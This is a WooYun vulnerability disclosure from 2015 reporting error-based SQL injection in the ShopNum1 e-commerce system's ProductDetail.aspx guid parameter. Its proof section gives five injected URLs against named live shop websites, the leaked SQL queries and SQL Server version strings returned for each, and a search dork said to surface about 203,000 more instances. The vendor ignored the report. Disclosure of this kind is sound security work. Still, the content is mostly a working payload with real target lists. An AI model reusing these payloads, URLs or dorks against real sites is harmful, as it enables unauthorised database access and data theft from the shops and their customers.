当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0118358

漏洞标题:武汉群翔软件有限公司商城系统注入二

相关厂商:shopnum1.com

漏洞作者: 雅柏菲卡

提交时间:2015-06-09 15:18

修复时间:2015-09-12 15:20

公开时间:2015-09-12 15:20

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-09: 细节已通知厂商并且等待厂商处理中
2015-06-14: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-08-08: 细节向核心白帽子及相关领域专家公开
2015-08-18: 细节向普通白帽子公开
2015-08-28: 细节向实习白帽子公开
2015-09-12: 细节向公众公开

简要描述:

.....

详细说明:

...............

漏洞证明:

我把伪静态的连接还原成原来的连接
以下均使用手工测试语句 ' and (select @@version)>0 -- - 作为测试
1、http://www.dapeng.net/ProductDetail.aspx?guid=45307197-7c29-48b3-811d-fa4639962263%27%20and%20(select%20@@version)%3E0%20--%20-
【 友情提示 】
很抱歉,您要访问的页面无法正确显示,可能是因为如下原因:
1 . 系统过于繁忙,请点击浏览器的“刷新”按钮,或稍后再试。
2 . 您输入的网址有误,请重新检查您输入的网址。
3 . 此页面已经删除,请访问其他页面。
4 . 此页遭到非法访问,被程序自动屏蔽。
DECLARE @id int,@fatherid int,@name nvarchar(50) SELECT @id = B.ID FROM ShopNum1_Product AS A,ShopNum1_ProductCategory AS B WHERE A.[Guid]='45307197-7c29-48b3-811d-fa4639962263' and (select @@version)>0 -- -' AND A.ProductCategoryID=B.ID CREATE TABLE #temp(ID int,FatherID int,[Name] nvarchar(50)) SELECT @id = ID,@fatherid = FatherID,@name = [Name] FROM ShopNum1_ProductCategory WHERE ID = @id INSERT INTO #temp(ID,FatherID,[Name]) VALUES(@id,@fatherid,@name) WHILE ((SELECT COUNT(1) FROM ShopNum1_ProductCategory WHERE ID = @fatherid) > 0) BEGIN SELECT @id = ID,@fatherid = FatherID,@name = [Name] FROM ShopNum1_ProductCategory WHERE ID = @fatherid INSERT INTO #temp(ID,FatherID,[Name]) VALUES(@id,@fatherid,@name) END SELECT * FROM #temp ORDER BY FatherID ASC_在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64) Apr 2 2010 15:48:46 Copyright (c) Microsoft Corporation Enterprise Edition (64-bit) on Windows NT 6.1 (Build 7601: Service Pack 1) (Hypervisor) ' 转换成数据类型 int 时失败。
2、http://www.huasenwei.com/ProductDetail.aspx?guid=6e1c9384-232c-4ee0-ada4-14562136d755%27%20and%20(select%20@@version)%3E0%20--%20-
【 友情提示 】
很抱歉,您要访问的页面无法正确显示,可能是因为如下原因:
1 . 系统过于繁忙,请点击浏览器的“刷新”按钮,或稍后再试。
2 . 您输入的网址有误,请重新检查您输入的网址。
3 . 此页面已经删除,请访问其他页面。
4 . 此页遭到非法访问,被程序自动屏蔽。
DECLARE @id int,@fatherid int,@name nvarchar(50) SELECT @id = B.ID FROM ShopNum1_Product AS A,ShopNum1_ProductCategory AS B WHERE A.[Guid]='6e1c9384-232c-4ee0-ada4-14562136d755' and (select @@version)>0 -- -' AND A.ProductCategoryID=B.ID CREATE TABLE #temp(ID int,FatherID int,[Name] nvarchar(50)) SELECT @id = ID,@fatherid = FatherID,@name = [Name] FROM ShopNum1_ProductCategory WHERE ID = @id INSERT INTO #temp(ID,FatherID,[Name]) VALUES(@id,@fatherid,@name) WHILE ((SELECT COUNT(1) FROM ShopNum1_ProductCategory WHERE ID = @fatherid) > 0) BEGIN SELECT @id = ID,@fatherid = FatherID,@name = [Name] FROM ShopNum1_ProductCategory WHERE ID = @fatherid INSERT INTO #temp(ID,FatherID,[Name]) VALUES(@id,@fatherid,@name) END SELECT * FROM #temp ORDER BY FatherID ASC_在将 nvarchar 值 'Microsoft SQL Server 2005 - 9.00.1399.06 (X64) Oct 14 2005 00:35:21 Copyright (c) 1988-2005 Microsoft Corporation Developer Edition (64-bit) on Windows NT 6.1 (Build 7601: Service Pack 1) ' 转换成数据类型 int 时失败。
3、http://www.jiusongwang.com/ProductDetail.aspx?guid=bbdc4aa8-847e-4692-a367-7080d056f0eb%27%20and%20(select%20@@version)%3E0%20--%20-
【 友情提示 】
很抱歉,您要访问的页面无法正确显示,可能是因为如下原因:
1 . 系统过于繁忙,请点击浏览器的“刷新”按钮,或稍后再试。
2 . 您输入的网址有误,请重新检查您输入的网址。
3 . 此页面已经删除,请访问其他页面。
4 . 此页遭到非法访问,被程序自动屏蔽。
DECLARE @id int,@fatherid int,@name nvarchar(50) SELECT @id = B.ID FROM ShopNum1_Product AS A,ShopNum1_ProductCategory AS B WHERE A.[Guid]='bbdc4aa8-847e-4692-a367-7080d056f0eb' and (select @@version)>0 -- -' AND A.ProductCategoryID=B.ID CREATE TABLE #temp(ID int,FatherID int,[Name] nvarchar(50)) SELECT @id = ID,@fatherid = FatherID,@name = [Name] FROM ShopNum1_ProductCategory WHERE ID = @id INSERT INTO #temp(ID,FatherID,[Name]) VALUES(@id,@fatherid,@name) WHILE ((SELECT COUNT(1) FROM ShopNum1_ProductCategory WHERE ID = @fatherid) > 0) BEGIN SELECT @id = ID,@fatherid = FatherID,@name = [Name] FROM ShopNum1_ProductCategory WHERE ID = @fatherid INSERT INTO #temp(ID,FatherID,[Name]) VALUES(@id,@fatherid,@name) END SELECT * FROM #temp ORDER BY FatherID ASC_在将 nvarchar 值 'Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 Copyright (c) 1988-2005 Microsoft Corporation Developer Edition on Windows NT 6.0 (Build 6002: Service Pack 2) ' 转换成数据类型 int 时失败。
4、http://www.1hbook.com/ProductDetail.aspx?guid=c0d0d8ab-e4ae-445c-9757-f4a63691923f%27%20and%20(select%20@@version)%3E0%20--%20-
【 友情提示 】
很抱歉,您要访问的页面无法正确显示,可能是因为如下原因:
1 . 系统过于繁忙,请点击浏览器的“刷新”按钮,或稍后再试。
2 . 您输入的网址有误,请重新检查您输入的网址。
3 . 此页面已经删除,请访问其他页面。
4 . 此页遭到非法访问,被程序自动屏蔽。
DECLARE @id int,@fatherid int,@name nvarchar(50) SELECT @id = B.ID FROM ShopNum1_Product AS A,ShopNum1_ProductCategory AS B WHERE A.[Guid]='c0d0d8ab-e4ae-445c-9757-f4a63691923f' and (select @@version)>0 -- -' AND A.ProductCategoryID=B.ID CREATE TABLE #temp(ID int,FatherID int,[Name] nvarchar(50)) SELECT @id = ID,@fatherid = FatherID,@name = [Name] FROM ShopNum1_ProductCategory WHERE ID = @id INSERT INTO #temp(ID,FatherID,[Name]) VALUES(@id,@fatherid,@name) WHILE ((SELECT COUNT(1) FROM ShopNum1_ProductCategory WHERE ID = @fatherid) > 0) BEGIN SELECT @id = ID,@fatherid = FatherID,@name = [Name] FROM ShopNum1_ProductCategory WHERE ID = @fatherid INSERT INTO #temp(ID,FatherID,[Name]) VALUES(@id,@fatherid,@name) END SELECT * FROM #temp ORDER BY FatherID ASC_在将 nvarchar 值 'Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64) Jul 9 2008 14:17:44 Copyright (c) 1988-2008 Microsoft Corporation Developer Edition (64-bit) on Windows NT 6.1 (Build 7601: Service Pack 1) ' 转换成数据类型 int 时失败。
5、http://www.6868xp.com/ProductDetail.aspx?guid=edd4329b-2c11-4a52-bd58-d172e02e0ded%27%20and%20(select%20@@version)%3E0%20--%20-
【 友情提示 】
很抱歉,您要访问的页面无法正确显示,可能是因为如下原因:
1 . 系统过于繁忙,请点击浏览器的“刷新”按钮,或稍后再试。
2 . 您输入的网址有误,请重新检查您输入的网址。
3 . 此页面已经删除,请访问其他页面。
4 . 此页遭到非法访问,被程序自动屏蔽。
DECLARE @id int,@fatherid int,@name nvarchar(50) SELECT @id = B.ID FROM ShopNum1_Product AS A,ShopNum1_ProductCategory AS B WHERE A.[Guid]='edd4329b-2c11-4a52-bd58-d172e02e0ded' and (select @@version)>0 -- -' AND A.ProductCategoryID=B.ID CREATE TABLE #temp(ID int,FatherID int,[Name] nvarchar(50)) SELECT @id = ID,@fatherid = FatherID,@name = [Name] FROM ShopNum1_ProductCategory WHERE ID = @id INSERT INTO #temp(ID,FatherID,[Name]) VALUES(@id,@fatherid,@name) WHILE ((SELECT COUNT(1) FROM ShopNum1_ProductCategory WHERE ID = @fatherid) > 0) BEGIN SELECT @id = ID,@fatherid = FatherID,@name = [Name] FROM ShopNum1_ProductCategory WHERE ID = @fatherid INSERT INTO #temp(ID,FatherID,[Name]) VALUES(@id,@fatherid,@name) END SELECT * FROM #temp ORDER BY FatherID ASC_在将 nvarchar 值 'Microsoft SQL Server 2005 - 9.00.1399.06 (X64) Oct 14 2005 00:35:21 Copyright (c) 1988-2005 Microsoft Corporation Developer Edition (64-bit) on Windows NT 6.1 (Build 7601: Service Pack 1) ' 转换成数据类型 int 时失败。
由于是还原的 google不到 但是我们可以 inurl任意一个相同的文件 如
ProductListCategory.html
找到约 203,000 条结果 (用时 0.66 秒)

修复方案:

................

版权声明:转载请注明来源 雅柏菲卡@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-09-12 15:20

厂商回复:

漏洞Rank:2 (WooYun评价)

最新状态:

暂无


漏洞评价:

评论